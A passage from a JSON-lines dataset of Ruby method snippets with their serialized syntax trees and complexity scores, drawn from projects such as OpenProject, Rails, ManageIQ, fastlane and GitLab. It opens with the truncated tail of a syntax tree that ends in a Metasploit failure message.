\":[null,\"Msf\"]},\"Exploit\"]},\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"WUG SQL dataset contains no nCredentialTypeID column values\"]}]}]},{\"type\":\"lvar\",\"children\":[\"csv\"]}]}]}","id":"4a00789c-229f-4a99-95e1-52ec3b73faea"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/recurring_meetings/row_component.rb","start_line":206,"raw_source":"def delete_scheduled_action(menu)\n return unless delete_allowed? && !cancelled? && !instantiated?\n\n menu.with_item(\n label: I18n.t(:label_recurring_meeting_cancel),\n scheme: :danger,\n href: delete_scheduled_dialog_project_recurring_meeting_path(project,\n model.recurring_meeting,\n start_time: model.start_time.iso8601),\n tag: :a,\n content_arguments: {\n data: { controller: \"async-dialog\" }\n }\n ) do |item|\n item.with_leading_visual_icon(icon: :trash)\n end\n end","complexity_score":24.1,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_scheduled_action\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"menu\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"delete_allowed?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"cancelled?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instantiated?\"]},\"!\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"menu\"]},\"with_item\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"label\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"sym\",\"children\":[\"label_recurring_meeting_cancel\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scheme\"]},{\"type\":\"sym\",\"children\":[\"danger\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"delete_scheduled_dialog_project_recurring_meeting_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"recurring_meeting\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_time\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"start_time\"]},\"iso8601\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tag\"]},{\"type\":\"sym\",\"children\":[\"a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_arguments\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"str\",\"children\":[\"async-dialog\"]}]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"item\"]},\"with_leading_visual_icon\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"icon\"]},{\"type\":\"sym\",\"children\":[\"trash\"]}]}]}]}]}]}]}","id":"0add4b88-c015-41e5-a785-198ca096b2ba"} {"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/configuration.rb","start_line":621,"raw_source":"def inspect # :nodoc:\n \"#<#{self.class.name}:#{'%#016x' % (object_id << 1)}>\"\n end","complexity_score":6.15,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"#<\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"name\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"%#016x\"]},\"%\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object_id\"]},\"<<\",{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"str\",\"children\":[\">\"]}]}]}","id":"5a60b829-283b-436d-a518-93c311a6f9e0"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_attribute.rb","start_line":16,"raw_source":"def value_type\n serialized_value ? serialized_value.class.to_s.downcase.to_sym : :string\n end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"value_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serialized_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"serialized_value\"]},\"class\"]},\"to_s\"]},\"downcase\"]},\"to_sym\"]},{\"type\":\"sym\",\"children\":[\"string\"]}]}]}","id":"d68b9c9f-aa34-4add-96de-b547ca5ae91f"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/bundle_id_capability.rb","start_line":130,"raw_source":"def delete!(client: nil, filter: {}, includes: nil, limit: nil, sort: nil)\n client ||= Spaceship::ConnectAPI\n client.delete_bundle_id_capability(bundle_id_capability_id: id)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"delete_bundle_id_capability\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"bundle_id_capability_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]}]}","id":"f88d704e-9397-4312-8172-3fb7b91177c3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cleanup/orphan_job_artifact_final_objects/batch_from_list.rb","start_line":68,"raw_source":"def build_fog_file(path, size)\n if google_provider?\n # For Google provider, we support rollback of deletions, thus we need to fetch\n # the `generation` attribute of the object before we delete it.\n # Here we use `metadata` instead of `get` because we only want to get the metadata and\n # not download the object content. Note that `files.metadata` is only available in `fog-google`.\n artifacts_directory.files.metadata(path)\n else\n artifacts_directory.files.new(key: path, content_length: size)\n end\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"build_fog_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]},{\"type\":\"arg\",\"children\":[\"size\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"google_provider?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifacts_directory\"]},\"files\"]},\"metadata\",{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"artifacts_directory\"]},\"files\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content_length\"]},{\"type\":\"lvar\",\"children\":[\"size\"]}]}]}]}]}]}","id":"1b1c802f-63e7-464d-b155-cdfe2230d080"}